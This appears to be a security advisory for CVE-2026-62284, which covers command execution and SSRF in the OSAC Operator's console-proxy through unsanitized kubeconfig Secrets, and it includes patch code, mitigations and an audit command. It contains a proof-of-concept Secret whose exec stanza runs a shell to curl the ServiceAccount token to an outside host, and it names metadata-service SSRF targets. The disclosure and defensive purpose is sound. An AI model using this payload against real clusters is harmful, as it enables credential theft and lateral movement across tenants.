CVE-2026-62284: Remote Code Execution and SSRF via Unsanitized Kubeconfig in OSAC Operator

The OSAC Operator (osac-operator) is a Kubernetes and OpenShift operator designed to manage and proxy connections to virtual machine clusters. Within its architecture, the console-proxy component handles WebSocket and console sessions directed at virtual machines running across local or remote clusters. To establish connections to remote environments, the proxy relies on the RemoteConfigResolver module located in internal/consoleproxy/config_resolver.go.

In its default auto mode and in remote mode, RemoteConfigResolver dynamically loads cluster connection credentials from Kubernetes Secrets. Specifically, it queries namespaces where its RoleBinding grants Secret read access for objects bearing the label osac.openshift.io/remote-cluster-kubeconfig: "true". This mechanism exposes a parsing boundary where data stored in Kubernetes API objects is ingested and converted into runtime client configurations.

CVE-2026-62284 combines two distinct weaknesses: Improper Control of Generation of Code (CWE-94) and Server-Side Request Forgery (CWE-918). Because the resolver passes raw kubeconfig YAML from the Secret directly into the Kubernetes client-go library without sanitizing the resulting configuration structure, an attacker with privileges to create or modify Secrets in a monitored namespace can inject executable authentication directives.

When the proxy subsequently initializes an HTTP transport to forward a console WebSocket connection, the underlying client-go library automatically executes the attacker-specified binary inside the console-proxy container. In addition to command execution, the resolver accepts arbitrary target URLs in the kubeconfig server definition, allowing the same attacker to redirect proxy traffic to internal cluster networks or cloud metadata services.

The root cause of CVE-2026-62284 lies in the implicit trust placed in clientcmd.RESTConfigFromKubeConfig when parsing untrusted or semi-trusted kubeconfig payloads. The Kubernetes kubeconfig specification is not strictly a passive data format; it includes extensible authentication mechanisms designed for CLI environments where a local binary must be invoked to fetch ephemeral tokens from cloud providers.

Specifically, a kubeconfig file supports the users[].user.exec stanza (which maps to rest.Config.ExecProvider in Go) and the users[].user.auth-provider stanza (which maps to rest.Config.AuthProvider). When clientcmd.RESTConfigFromKubeConfig(secretData) is called inside RemoteConfigResolver.ResolveConfig, it deserializes the YAML byte slice directly into a *rest.Config struct, preserving any ExecProvider or AuthProvider definitions present in the input.

Later in the connection lifecycle, the console-proxy invokes rest.TransportFor(config) to construct the HTTP RoundTripper required for upstream WebSocket communication. During transport initialization, client-go inspects the rest.Config object. Upon finding a non-nil ExecProvider, client-go registers an authenticator that spawns the external command defined in ExecProvider.Command using the arguments in ExecProvider.Args via Go's os/exec package.

Because no validation step cleared these fields between deserialization and transport construction, the application crosses a privilege boundary. An authorization to write a configuration Secret in a namespace is escalated into arbitrary operating system command execution within the operator's proxy pod.

In vulnerable revisions prior to commit 7e4222b6ab465fc00606c8cfed980b226820cb1b, RemoteConfigResolver.ResolveConfig extracted the raw bytes from the Secret and returned the parsed *rest.Config immediately after error checking. The patch, introduced in Pull Request #321 via commit 86466378aa3603253dca7fa2f59a2733af0dc092, explicitly zeroes out the execution-capable fields on the configuration struct before returning it to the caller.

// File: internal/consoleproxy/config_resolver.go
func (r *RemoteConfigResolver) ResolveConfig(ctx context.Context, namespace string) (*rest.Config, string, error) {
    // ... [Secret retrieval logic omitted] ...
 
    config, err := clientcmd.RESTConfigFromKubeConfig(secretData)
    if err != nil {
        return nil, "", fmt.Errorf("parsing kubeconfig from secret %q in namespace %q: %w", secret.Name, namespace, err)
    }
 
    // PATCH: Explicitly strip external execution and plugin providers.
    // Only static tokens, client certificates, and basic auth remain active.
    config.ExecProvider = nil
    config.AuthProvider = nil
 
    r.logger.InfoContext(ctx, "Resolved VM cluster config from remote kubeconfig secret",
        slog.String("secret", secret.Name),
        slog.String("namespace", namespace),
    )
    return config, secret.Name, nil
}

By setting both config.ExecProvider and config.AuthProvider to nil immediately after clientcmd.RESTConfigFromKubeConfig completes, the fix ensures that subsequent calls to rest.TransportFor only utilize in-memory authentication credentials such as bearer tokens, client certificates (TLSClientConfig), or HTTP basic authentication.

> [!WARNING] > Fix Completeness Assessment: While commit 7e4222b6ab465fc00606c8cfed980b226820cb1b neutralizes the CWE-94 command execution vector, it does not remediate the CWE-918 Server-Side Request Forgery (SSRF) vector or potential local file inclusion risks.

First, the config.Host field—populated from clusters[].cluster.server in the kubeconfig—remains unvalidated. An attacker can still point the proxy at loopback addresses (https://127.0.0.1:6443), internal cluster services, or link-local cloud metadata endpoints (http://169.254.169.254). Second, clientcmd.RESTConfigFromKubeConfig populates file path fields such as TLSClientConfig.CAFile, CertFile, and KeyFile as well as BearerTokenFile. If an attacker supplies file paths instead of inline base64 data (certificate-authority-data), rest.TransportFor will read those files from the proxy pod's filesystem, allowing attackers to probe file existence or potentially use pod-local files as client credentials.

Exploiting CVE-2026-62284 requires two prerequisites. First, the osac-console-proxy must be deployed in either auto mode (the default configuration) or remote mode; deployments configured strictly in local mode bypass RemoteConfigResolver and use in-cluster configuration exclusively. Second, the attacker must possess Kubernetes RBAC permissions (create, update, or patch) for Secret resources within a namespace where the proxy's RoleBinding permits reading Secrets.

To trigger remote code execution, the attacker creates or modifies a Secret in the target namespace and applies the label osac.openshift.io/remote-cluster-kubeconfig: "true". Inside the Secret's kubeconfig data field, the attacker defines a user entry utilizing the client.authentication.k8s.io/v1 exec plugin API.

apiVersion: v1
kind: Secret
metadata:
  name: malicious-remote-kubeconfig
  namespace: target-vm-namespace
  labels:
    osac.openshift.io/remote-cluster-kubeconfig: "true"
type: Opaque
stringData:
  kubeconfig: |
    apiVersion: v1
    kind: Config
    clusters:
    - cluster:
        server: https://127.0.0.1:6443
      name: remote
    contexts:
    - context:
        cluster: remote
        user: malicious-exec-user
      name: remote
    current-context: remote
    users:
    - name: malicious-exec-user
      user:
        exec:
          apiVersion: client.authentication.k8s.io/v1
          command: /bin/sh
          args:
          - -c
          - "curl -s -d @/var/run/secrets/kubernetes.io/serviceaccount/token http://192.0.2.10/exfil"
          interactiveMode: Never

Once the Secret is persisted to etcd, the attacker initiates a console connection request targeting the namespace, or waits for an automated reconciliation/proxy event that invokes ResolveConfig for that namespace. When the proxy builds the HTTP transport to connect to clusters[0].cluster.server, client-go executes /bin/sh -c with the provided argument string.

The payload executes before any network handshake with the upstream server completes. Consequently, the clusters[].cluster.server address does not need to host a valid Kubernetes API server for the command execution payload to succeed.

Successful exploitation of the CWE-94 vector grants the attacker arbitrary command execution inside the osac-console-proxy container under the context of the container's runtime OS user. This provides immediate access to the container filesystem, environment variables, and active memory space of the proxy process (potentially exposing connections or credentials for other tenants' clusters handled by the same proxy instance).

Crucially, the spawned process can read the Kubernetes ServiceAccount token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token. With the osac-console-proxy ServiceAccount token, the attacker inherits the RBAC privileges assigned to the proxy itself. Because the proxy is designed to read kubeconfig Secrets across multiple namespaces to facilitate VM console routing, compromising its ServiceAccount allows lateral movement across namespace boundaries.

The vulnerability is scored at CVSS v4.0 8.6 (High) with the vector CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N. The High Privileges Required (PR:H) metric reflects the necessity of having Kubernetes RBAC permissions to write Secrets in a monitored namespace. However, in multi-tenant OpenShift or Kubernetes clusters where namespace administrators are granted Secret management rights within their isolated namespaces, this flaw serves as a privilege escalation and tenant-escape mechanism.

As of November 2026, the EPSS score for CVE-2026-62284 is 0.00505 (0.51%, 43.35th percentile), and it is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. The relatively low probability of mass automated exploitation aligns with the requirement for authenticated cluster access prior to exploitation.

To remediate the command execution vulnerability, operators must upgrade osac-operator to commit 7e4222b6ab465fc00606c8cfed980b226820cb1b or a subsequent release containing the fix from Pull Request #321. This update ensures ExecProvider and AuthProvider structs are stripped during Secret parsing.

If an immediate upgrade is not feasible, administrators can mitigate the vulnerability by reconfiguring the console-proxy to run in local mode (--cluster-mode=local or the equivalent operator configuration). In local mode, the proxy relies strictly on the in-cluster configuration and disables RemoteConfigResolver, preventing any Secret-based kubeconfig parsing. Note that this workaround is only viable if remote VM cluster proxying is not required by the deployment.

To address the residual SSRF risk and harden the environment, administrators should enforce strict RBAC policies and audit existing Secrets. Use the following command to scan all cluster namespaces for labeled Secrets containing exec: or auth-provider: directives:

kubectl get secrets --all-namespaces \
  -l osac.openshift.io/remote-cluster-kubeconfig=true -o json | \
  jq -r '.items[] | select(.data.kubeconfig != null) | 
  {namespace: .metadata.namespace, name: .metadata.name, kubeconfig: (.data.kubeconfig | @base64d)} |
  select(.kubeconfig | test("exec:|auth-provider:"))'

Additionally, organizations running runtime security monitors such as Falco or Tetragon should deploy behavioral rules to detect child process execution (execve system calls) originating from the console-proxy binary, as normal proxy operation only requires network socket I/O and should never fork shell or external binary subprocesses.